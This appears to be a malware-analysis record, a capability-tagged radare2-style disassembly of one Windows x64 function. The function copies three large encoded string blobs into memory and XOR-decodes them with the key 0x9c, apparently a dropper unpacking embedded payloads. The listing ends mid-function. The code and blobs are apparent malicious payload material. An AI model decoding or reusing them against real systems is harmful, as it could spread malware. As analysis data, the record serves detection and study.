Function at 0x140001b30
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Link many functions at runtime
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x7f8]
sub rsp, 0x8d0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140042040]
xor rax, rsp
mov qword [rbp + 0x7b0], rax
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], 1
call fcn.140003ce0
movdqa xmm6, xmmword [0x14003e390]
xor r13d, r13d
mov ecx, 0xd237
mov qword [rsp + 0x28], r13
call fcn.1400076b0
test rax, rax
je 0x1400035f7
lea rbx, [rax + 0x27]
mov qword [rsp + 0x30], 0xd200
and rbx, 0xffffffffffffffe0
mov qword [rsp + 0x38], 0xd20f
mov r8d, 0xd200
mov qword [rsp + 0x20], rbx
lea rdx, str.0cbZznScnJycxdQfdZXUF13UmZzsnpxjTFcnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJyclJ2cnJKDJpKcKJVRvSSd0FG9yPT177zs7vP77v3xvP_98vLz6Lzbzu6fK89fK82NPPvPHzPmykZGWuJycnJycnJwcWlzeWDsyjVg7Mo1YOzKNi0kxjF07Mo2LSTeM3TsyjYtJNoxSOzKNi0kzjFs7Mo1YOzONBTsyjQpON4x6OzKNCk42jFY7Mo0KTjGMUTsyjZJOO4xZOzKNkk7NjVk7Mo2STjCMWTsyjc71__RYOzKNnJycnJycnJycnJycnJycnJycnJycnJyczNmcnPgam5wzRgz6nJycnJycnJxsnL68l56SgZyinZycepycnJycnDSBnJycjJycnJycHJ2cnJycjJycnIycnJqcnJycnJycmpycnJycnJyc7J6cnJicnJycnJyenPydnJyMnJycnJycjJycnJycnJycjJycnJycnIycnJycnJycnJycjJycnJycnJycnJyc2HOdnLScnJyczJ6cLJ2cnJy8npxcjpycnJycnJycnJyc_J6c4JqcnDBJnZzsnJycnJycnJycnJycnJycnJycnJycnJycnJycvEqdnKSdnJycnJycnJycnJzMnZzknpycnJycnJycnJycnJycnJycnJycnJycnJycsuj55OicnJyc3J2cnIycnJzcnZycjJycnJycnJycnJycnJycvJyc_LLuP3o_ZycnCycnJzMnZycLJycnMydnJycnJycnJycnJycnNycnNyyP3o_ZycnJy8nJycnJ6cnLycnJycnpycnJycnJycnJycnJzcnJxcsuz4_ej9nJycvJycnLyenJy8nJycvJ6cnJycnJycnJycnJyc3Jyc3MPO2N3I3ZycnIycnJzcnpycjJycnNyenJycnJycnJycnJycnNycnNyy7u_u_5ycnJyMnJyczJ6cnIycnJzMnpycnJycnJycnJycnJzcnJzcsu758PP_nJycjJycnPyenJyMnJyc_J6cnJycnJycnJycnJyc3Jyc3pycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJyc
mov rcx, rbx
mov qword [rbx - 8], rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + 0xd200], r13b
lea rdx, [rsp + 0x20]
xorps xmm0, xmm0
lea rcx, [rbp + 0xc8]
xor eax, eax
movups xmmword [rbp + 0xc8], xmm0
mov qword [rbp + 0xd8], rax
call fcn.140001440
mov r8, qword [rbp + 0xd0]
mov edx, r13d
mov rax, qword [rbp + 0xc8]
mov rcx, r8
sub rcx, rax
cmp rax, r8
cmova rcx, r13
test rcx, rcx
je 0x140001c70
cmp rcx, 0x40
jb 0x140001c70
and rcx, 0xffffffffffffffc0
movdqu xmm0, xmmword [rax]
add rdx, 0x40
xorps xmm0, xmm6
movdqu xmmword [rax], xmm0
movdqu xmm0, xmmword [rax + 0x10]
xorps xmm0, xmm6
movdqu xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [rax + 0x20]
xorps xmm0, xmm6
movdqu xmmword [rax + 0x20], xmm0
movdqu xmm0, xmmword [rax + 0x30]
xorps xmm0, xmm6
movdqu xmmword [rax + 0x30], xmm0
add rax, 0x40
cmp rdx, rcx
jne 0x140001c31
cmp rax, r8
je 0x140001c80
xor byte [rax], 0x9c
inc rax
cmp rax, r8
jne 0x140001c75
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140001cbd
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001cb8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035f7
call fcn.1400079fc
mov ecx, 0xd237
mov qword [rsp + 0x28], r13
call fcn.1400076b0
test rax, rax
je 0x1400035f7
lea rbx, [rax + 0x27]
mov qword [rsp + 0x30], 0xd200
and rbx, 0xffffffffffffffe0
mov qword [rsp + 0x38], 0xd20f
mov r8d, 0xd200
mov qword [rsp + 0x20], rbx
lea rdx, str.RdQfZXzroNQZVSSdnJyc1JPYRHeJdJLcnJwZXOi51BdXdH5CY2MZXOiF1BeROKdnNAXX69OY4k4L5yc1Blc6Eh3kXQMb2NjW5yQnJycr1zUH1i8x19QUBeZpv6dnNAXVR9kmZMQD5ycnNAXXSS8nJyc3R98g9W3XNVrRNGHTtC_TNUXXdWnTtCT3k7Vn1bQp1XokRyknOiU1GNc1Kdd6W_UF1TVt1XVp1aTGWicnJzQF17UF1TRt17VH3x80J9c1adc6IBZbXNVWWnolVlhS10ZXFlk6mV1B9dvNWnVOl41RGYjXeQHKWckxgtnJyc1GNd1KdU6XN1OJycnB9knZMQGZycnB99kySMnJyc1Ldd1GtF0YdO0L9M1Rdd1adO0JPeTtcRkJbQp1XokRyknOiU1GNc1Kdd6W_UF1TVt1XVp1bpw9AXXtQXVNG3XpPLVdUffGzQn1zVp1zohWT8536khdpNLXBlc6ZXUH12M1adU6XvVEZiNd5QcpZzovNRjXdSnVOlvd4rUEZiN0KdU6JEcpZzolNRjXdSnVOlv1bdV1BddXxeZdvydnNAXTtAXXR9kmZMQUJycnN1qXJ3otdQRmM3UF03Up1STGD2dnJyvVfqllpMYCp2cnNQfXp7Up0zpcnUUnZycH32DJLycnJzUt13VF0zUa0XRh0fQv0TVTXfRp0_Rk95Gr1XXEZjE0Kdc6JL6pZboldQfXp7Up0zpbtW3TNRNZtWnT5MZ2Z2cnNERkMzVF17Vt1_UH3x81J9e1RGI3NCnVuiBWW1zVVhd6emVWWFLXRlcWWTr6ZXVH1280KdW6X_XEZjMd5b63aWV6JXVH12e0KdU6W3VF011d5ycnB9knZMQWpycnN1qXJ3otdQRmM3VF0zQp1yTGFCcnJyvVfqllpMYXZycnNQfXp7Up0zpcnUvnJycH32TJIycnJzUt13VF0zUa0XRh0fQv0TVTXfRp0_Rk95Gr1XXEZjE0Kdc6JL6pZboldQfXp7Up0zpbtW3TNRNZtWnTno1Rde0RGQzNW3X5PLVdQffGzUn17VEYjcd4lv3ZPznfqT6V36k0tcGVzpldUfXYzQp1bpetcRmMx3kvrdpZWTGKtjY2PVH12e0KdU6XF1tWNjY9QRmM3VF0zQp1zojK9VqWW6JXUH16e1KdM6W7Vt0zUTWbUF15fUFDcz9QfcLzUF5kv5J2c1BdG1KWe6IoXHTSfnJwZmaP7nZzplHQozpyc1BWf1B9YvMdfUFBQ3M_UH3C81BGZ4SdnNQXRtYXmFzUpZ7oihcdNJcnBmZm_udnOmUdODOnJzUFZ_UH1i8x19QUFDcz9QfcLzUF5kD5p2c1BdG1KWe6IoXHTSfnJwZmU_6nZzplHTErZyc1BWf1B9YvMdfUFBQ3M_UH3C81BGZ9adnNQXRtYXmFzUpZ7oihcdNJcnBmZB_qdnOmUdLytnJzUFZ_UH1i8x19QUFDUFcC4lNQV8LiM1BXouITL3cjdyd3K3cvUH3DMFxi4NJycnNmvRxlc2BSG3Rdn0RdNk9Vk1BdG0BdtEduX0P9U0add66_UFxC4VJycnN0Rx77UFdC4tNmvVdmvXNAVwLi8r05a3aydFcWwr1V0n3FjYxdfdYKfnJzUF5UmY5ucnNQXXdRddKjUv17Up16TGRicnJzUFxi4VJycnNEXVtQV2LjU1BdPFxi4XJycnNUXUhXYuNwXGLgknJycFdi4pNQXGLg8nJyc2BTAuKwV4Li01BXYuLx0Rp6cnBlc6JRan5x1LJ6cnCb5nJyc1BdXdK04nJzUGVyTGASenJwWELgsnJycHG2dXH2ZHF3MFJRa3JcdeGenJwksZycnNQZVeWUFJ_UY1_VF5IWGLgsnJyc0BH3naid3SBjn5yc2JMqZN0krJycnN0Xc9gVILg0nJycXXmZ1CScnJycnJxs4x9Zm9UlY2NjY2Njk5zUGVTphNgUn9UXmtW_XdRrRNGHeN0deGKfnJx3n1qfrdUR6Z0ZYmZ3RZfd6vUFwC4VJycnNikx7TphdQXV3T2SWNj2a9H1SVjY2NjY2OTnNkR36zUF9E1BcUZJycnNQXnRac3RTZnNEZkpMaC5ycnN2TK0zVJpycnJycnJOckytWGWPisNUXmtW_XtW_XdRPdPrdn1z6H2Sl6p_6n1kUmmNT1GNa1V12mPofXmDlU3fS2BcQuFycnJzYkytd1RdS1RdOdHibnJzZr0cYXOis1BHSYxaNEd4mNEPplFqdrNRjVXdz1adR6I8cZqXpmtwcWaZ3nxH2ndwUtXefYt1j2BcguDScnJwZYKB2Bdb1BdSF0MjrJycnNwWS3SwFmNj1J9v2a9Hd5kjrJycnNmkwZzVk9hp3Vx7md0cW8zYFKLQEdKe1Rea1F10qLljm5ycF1TVt1DUF03lmtUXUNS3VNQZTiS3nJyc0RddEcyek9ReFNqd3RSl1B1ldJcnOCo1CRTa89_OQdYvNER3Z3Ua3XUXWab1Bde1F10o9SfTBGYi90UndT1XoRgY2PUn1TRp13pmtQfZfjgr9Qkl0s_7KGWSz_Ua3XUn03UXWaa1Bde1F10o9SfTBGYi90UnNVjXNT3XgDUn1TRp13pmtQfZZbgt9Qk_r6vr6vrUa3XUXWae1Bde1F10o9SfTBGYi90UnNVjXNT3XmrUn1TcnlPdFJTZFMSdr1zQEcC4zNUXx6zVF_ek1Rfv3NUXf93D3cLdwd3Aw1_QF0DVFceU1RX3jNUV74TVFee83crUH3DM1BcYuBycnJzVF2wXMLgUnJyc1Bdm1BeV3SSdnJyc1RXfTNEV11TREdd0EcmddGnInJzQFyi4NJycnNgR2Z3Zr1XQFei4rB_guNyx2BdMFxi4PJycnNQXSt2TCF0V2Li0r1XYFci4vBlxkwNd1LdN1bdN1B9iY9ST2ErVn1XUn1PQEdC43HQZ0pycGVzomVqbnHep2BYQuAycnJzUEdi43NAV6Lik2BdZWti4rJzUF0rUFdi4tNQXUxcYuAScnJwV2Li8dIecnJzUF8C4_NQX8Lj01BfouOzUFC45NQfWMzdwl_QF0DVFceU1RX3jNUV74TVFee83cndyt3L1B9wrK9c1f902Rlc2RZ10Bdm1Bdlk9NZH1yV1ATUp0zr0dQXELgUnJycJ76cnJzVFdd82a9V1R__RJzZr1yvTlrdrJ0VxbCvVXTBdGNjF1_UF8C4zNQX8LjE1BfouPzUFC49NQfWKzdw93C3cFfHCC4HJycnJzUFi45Oi2r04forGTCF7Un0vZGVzihtUfVGPVY1zeHKCenOlq1WNc1BHWnXRbDmNjH6Kx1BdD6Ztam7HUEcOdGXHirRbfndAXKLgUnJycFJ_UY1_dHOK0nOmU1RdSdOlNY2PVF9qE1BcUZJycnNQXnRaUFJeTKhC4HJycnNARmRxbnJzUH22d1J9B1J9F1Ldn1BdX1R9jY9URiKPVk9hLdM9_Y2MZXJMZEpycnNQR157ZGHHon1qf2dQX2pQcpKzoy9gX2pjdH3Sd5Zvda0Ra352x3R9kOCHJIMZd83da3RdZpkXXl10g59MnMe914A2J9c3R9kluCHJPv6vrda3RdZp4XXl10g59MnMf915q2J9c2JzfmB_guOye6Ygcpazpk9QRzZ3dJJcnJx0WA1jY69cdQJiY2PUH_i4vJzZr1XZr1yvTq9VdEh7Y2NQUFBQ0BdA1RXHlNUV94zVFeEy9QfcMzUFxi4HJycnNUXZBcouBScnJzUF0bUF5WTy1zVFd9M2a9c0RXXVBdK0RHXdJON2LjcdIrOnJzYF9i42NmvVR_guNyx2BdMFxi4DJycnNQXS9QXMLgEnJyc3ZMIXdW3TdQV8Lis2J9aFdi4tNQfY2PYFci4vNURkIXUk9hL0BHQuNx0MtecnBlc6Jlan5x3gdQV8Li00BHQuNzYF1pa2Li8nNQXS9QXV3SEnJyc1BfAuPzUF_C49NQX6Ljs1B9YzMNfUFBQ1BXAuJTUFfC4jNQV6LiEy93K3cvUH3C8HOC4_JzUF0XV_9WY0Rdt3Rd06IcR3WPdp1zpj69c3RlsZMI
mov rcx, rbx
mov qword [rbx - 8], rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + 0xd200], r13b
lea rdx, [rsp + 0x20]
xorps xmm0, xmm0
lea rcx, [rbp + 0xb0]
xor eax, eax
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], rax
call fcn.140001440
mov r8, qword [rbp + 0xb8]
mov rdx, r13
mov rax, qword [rbp + 0xb0]
mov rcx, r8
sub rcx, rax
cmp rax, r8
cmova rcx, r13
test rcx, rcx
je 0x140001dbf
cmp rcx, 0x40
jb 0x140001dbf
and rcx, 0xffffffffffffffc0
nop word [rax + rax]
movdqu xmm0, xmmword [rax]
add rdx, 0x40
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax], xmm1
movdqu xmm0, xmmword [rax + 0x10]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + 0x10], xmm1
movdqu xmm0, xmmword [rax + 0x20]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + 0x20], xmm1
movdqu xmm0, xmmword [rax + 0x30]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + 0x30], xmm1
add rax, 0x40
cmp rdx, rcx
jne 0x140001d70
cmp rax, r8
je 0x140001dcf
xor byte [rax], 0x9c
inc rax
cmp rax, r8
jne 0x140001dc4
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140001e0c
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e07
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035f7
call fcn.1400079fc
mov ecx, 0xd237
mov qword [rsp + 0x28], r13
call fcn.1400076b0
test rax, rax
je 0x1400035f7
lea rbx, [rax + 0x27]
mov qword [rsp + 0x30], 0xd200
and rbx, 0xffffffffffffffe0
mov qword [rsp + 0x38], 0xd20f
mov r8d, 0xd200
mov qword [rsp + 0x20], rbx
lea rdx, str.JneSd5iTJneRFcC43N0dfJycnJ_dHWScnJyd6IHdHWScnJye6JPdHWScnJyf6YmTJneTd5cfV9x3mh1X3BycnBXAuNwcoVFSnJyc6KpqX9zorRdXdDuYnJx3rlqZKlKcnJwXwLjcH38jF1d0DJicnCKcnZyc3SKcnpyc3SOc_Jycd5YffyMXV3TvmJycF1dddZ8ffYwXXxdNH1aU3b9ak9hNF18XVh9VmLmcmJyck9hWF18XTR9WnrmclJyck9hNF18XVh9VnbmcjJyck9hWF18XTZMmdo_WpPYTRdf3b9b6L6hnLycnOiFoZzcnJzokd2nWmTHVacn5ycd5vdl0p3npdKHX_cHJycH3fc6Icdd1zjnJzolx9n3OmOkyZ2hHeQHVacnJyfd5iTJnaFF17UF8C41NQX6LjM1B9YvN3D3cLdwF9QUNQXWM_UH3DMbpOMGLgcnJycF0Vuk4wQuBScnJwmXGOcnBXUVNQXELgMnJycbpON3Hxuk43UdG6TjcRE0BXcTHSgm5yc1BHQuLx0RjxjYxlc6ZsXV3RLmpycbpOM2Ljc1B9YzMdfUFBQ1BXAuJTUFei4jMvUH3C8F0XUF24ff4MXZWpdlOiI3Bhq5ZMlnZycnHT7m5ycH39rd8slmJycnNwYZeiN1JMmepXvlnTQm5ycH39nd6Dcalud6IrUkyZ6luTJZScnJx0rJucnB9_Yne83GpbnuiG1JMmepfvj9xqW4zoliWMnJycdJKbnJwff2HcaluM6IjUkyZ6kORJbycnJx0aJqcnB9_c9QX6Likr1wZR9QXwLiskwhc1B9YvMNfUFDUF1jJz8rL3crUEfRV1B1wfJycnJO17FTUF5nhXpyc1K9Y1BXZcxdu0BdtJlxjnJwlHIOcnN0XZdUXRHSAmpycF9HD1BXYuNTUFcC43G6TjNi43NQXyLjUbpON2LjcdH1iY2Nuk4zp6xlc6dwf4eOe6Y0X2SMffH9uk43pMx9UnxXZI9gX2cPUEdi43NQV2Li01BHIuNTUEdnz2BdS1BHQuMzUFdi4vHS0npycdLcDY2MYXOioGWPorNQX2LjU0RdabpOM2LjcF1Nuk4zB8xfJ9QV2LisbpON2Li0bpON6Li8dGlhY2N3gBdTdICZnJzUF9C41CZcY5ycdMGZnJxuk4zYuNzUF9Fz1K9QdH9HYmOTtCi4TJycnNQdWHycnJzdwsPCx8FfUNQknJycnJyclJzUl1TUFdC4lG6TjNi4lF9QUFDcz9QfcIzZr1yvVdgVmUJBnJzZEdSd3Rddkz4VmLgknIychBXQuJS_VBXAuJgVyLiQp1TpsK9Vk51M1F1vNSXTNQVyLi81BfYuLzYF5kCQZycuJqgmtmT2F3YFZkTQZyc2BWZEEGcnK9c1B9YjMdf1B9wpNQRmQkInJzdJYecnJzUFdi4vHSZnJyc1B9YpF_UF1jUH3D0k7XsdJO0bd0XTZO0RN0fdJ3ott0fZJ3p9dgV3ESTy05uk43MTNkXVG6TjdxUW9xcvZycnFvcJJScnJx3sVvYuNydnJyck8tcbpON2Lik3SWenJycbpONwLisW9i4tL6cnJxb2Li8mJycnNQXELgMnJycbpON6Ljk0BfYuOR0P2FjY5O0WpO06LjM1B9Y9F9QUFBQUFBQUFBQUFBQUFBQvqTgxicnJycnNQfcJSTMoC4F5i41B9YlF8V0LiUkzLIuJRfkzLAuJQlXGNjY73QuJSTMsi4lF_6k7KZNgcnOIpOymTQPnJzqlm7Uk7FUbtSTtl1fUFBQ1B9w1B_4uKyc1BfYuOTUFdi4tNQX2Ljs1BXYuLx0mpycnNQfWNRfUNQXWNQVxIzUFeyE1BXkvNQV1JTJ1Bdw1B9wvNQXRt0Xba9OI5GcnFwVzZjUF9mMFcyU1BfZjBXMkN1qXIzokdQX2YwjE5ycXB_UmJ3dalye6JHUF9mMIwcnFwf1Jie3WpcneiR1BfZjCMNnJxcH9SYmN1qXJjokdQX2YwjEpycXB_UmJTdalyU6JHUF9mMIwycnFwf1JiM1BfRjNQXn9RddJtdfJhrTK_dlB98jK3dlNQX0YzUF5_UXXSVXXyfa0yv3ZQffJSt3ZTUF9GM1Bef1F10ll18nmtMr92UH3yYrd2U1BfRjNQXn9RddJefXGtMr92UH3yerd2UF5_UF9GM1F10kGtMr92UH3ydrd2UdHuenJzUF0w0neiU1BfRjB_VkIxqXpjolNQX0Ywf1ZCUal6U6JTUF9mMH9SQmGpejOiU1BfZjB_UkJ5qXrzolNQX2Ywf1JCdF58lnPycnNS_Xeii1KGcvJyc6LrUoZzcnJzoktSnXems1BfZjBUn3e71BfZjB8YtQX2YwflJ53i9QX2YwfvGHUF9mMH5Sdd5vUF9mMH7xg1BfZjB16Y5OcnF16mR28g5xiY9QX2YyVrNQX2YzUFmkH9S8nR_h3Jzor9QX2YwmfWNjY73MvNQX2awXlNQX2YwV1IzUF9mMH9T8ndQX2Yy9zPzUF9mMF5IV1Mx31NQX0YzdJH9jY2MX3bzdv1wfVJ4V3bzUF9ms1BeU1BfZjNQV1IzUF9mMH9T8ndQXyYwX3vzdv1wfVJ4V3vzUF9mM1BeK1BXMzHRwnJycr07QEdGMF1PYEd6dY4mOkpyc1BfRjBfdlDSM6JTUkyavmxfdlDSU6JTUkyavlRfdlDSY6JTUkyavlhfdlDSe6JTUkyavlxfdlDSd6JnUkyavkBedH3yf6KwfdJ3ogx90neiSH2Sd6bTUHZec_Jycd4PUkyavkdSTJreSd4_UkyavktSTJreRd5vUHb9jA2NjHHcnOibF93MFZp3m9QX3czUFZrUF8C4pNQX6Ljc1BfguNTUH1i8wV9QUFDUH3C0H2Wd6IkR3WIfZJ3rhHRW0WNjW5ynJycd5d0IdFjY1ucvZycnNQfWLRfUFDcz9QfcLx0oWBjYxdEH3jdNFgY2MXX9QfWLzHX1BQUNQVwLiE1BXouLzL1B9wvNQXRtQXZXSSYGNjF2wV2LikF1drTR1V4xxjY79Uv2eXUxXQuKwcoYFanJyc6LlqXdzovHRtZ2Njd71amZRanJycF9C4rB99I3RAZ2NjFi4pHeUH30jdFJnY2MXWtQXwLjc1BfouNTUH1i8w1_cz9QfcLzUF0V0AmdjYx9_o5dfF1TUH1i8x3UBZ2NjUNQfcLR0H2djYx98o9QfWLRfUFBQUFBQUFBQUFDQ_92g2a9V0J9d0BdO3ZMr3IjZkyvEmtQfXITVn1zZGUfoghfMkNCnTu6WF9SUn1bQp03ukt1jXdQfXLTZp1fufq9cX1BQUFBQUFBQUFBQUNQVwLiUy9QfcLzUF0XUEaGAJ2Jj1BdTdKicnJwZXOi1LdD1BdP1BdTdB5jY2PUGVzokxfcuF10g2tMH3ydd56vXNQXwLis1B9YvMNfUFBQJNHGnJz6pZ3pvNT_3aDUn10dpMzZnJzpjSWXnpycqXUhOmaJJ2cnJxfr1xfUFBQ1B9wtNEX3aTUF1bVF010kZycnCSdnJyc1B9YtF9QUFDcz9kXhNQXRt0ff2TQF1XdapyY0BdN6I_dF9yU0f_MmGtE0J9N1P9U0L9N1f9f1heIjNQX34wX1JTUF9Uatidn5Pol5Mq2J2fH3xs0J9U0K9W1RdVx3UJSGJjUNQXWNQVxJTUFfSM1BXshNQV5LzdytQfcLzVF8Wk1Bdu0Rds1Bd11RdN1BdS1Rdl0BHfmHTwY2NjF9mYuPpqRCSdnJyc2Ydc3WtE2J9c2BnfmOiN0BdT0Rda1BdK1BdRdLxvYmPUF8C4rNQX8Lik1BfouNzUFC41NQfWLzdwl9QUFBQUFBQUFBQUPr6k4MYnJycnJzUH3CM0BWIuNAVwLiU0a9H0BHIuITQt0zRk95PdAXgLmMnJyc0adP74r63R1nGzREQecbGNj3VqfnNGnTls0BeIuNAXwLiU1B9YjF9QUNQVwLiUy9QfcLzVF2TUF0V0639iY2rfmPrpkR2n__xfOmZH2Sd6JfUF8C4rNQfWLzDX3QYd2Jj1BXEvHTnd2Jj1BXktHRK32NjUFDZr1XQ
mov rcx, rbx
mov qword [rbx - 8], rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + 0xd200], r13b
lea rdx, [rsp + 0x20]
xorps xmm0, xmm0
lea rcx, [rbp + 0x98]
xor eax, eax
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], rax
call fcn.140001440
mov r8, qword [rbp + 0xa0]
mov rdx, r13
mov rax, qword [rbp + 0x98]
mov rcx, r8
sub rcx, rax
cmp rax, r8
cmova rcx, r13
test rcx, rcx
je 0x140001f0f
cmp rcx, 0x40
jb 0x140001f0f
and rcx, 0xffffffffffffffc0
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax]
add rdx, 0x40
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax], xmm1
movdqu xmm0, xmmword [rax + 0x10]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + 0x10], xmm1
movdqu xmm0, xmmword [rax + 0x20]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + 0x20], xmm1
movdqu xmm0, xmmword [rax + 0x30]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + 0x30], xmm1
add rax, 0x40
cmp rdx, rcx
jne 0x140001ec0
cmp rax, r8
je 0x140001f1f
xor byte [rax], 0x9c
inc rax
cmp rax, r8
jne 0x140001f14
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140001f5c
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f57
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035f7
call fcn.1400079fc
mov ecx, 0xd237
mov qword [rsp + 0x28], r13
call fcn.1400076b0
test rax, rax
je 0x1400035f7
lea rbx, [rax + 0x27]
mov qword [rsp + 0x30], 0xd200
and rbx, 0xffffffffffffffe0
mov qword [rsp + 0x38], 0xd20f
mov r8d, 0xd200
mov qword [rsp + 0x20], rbx
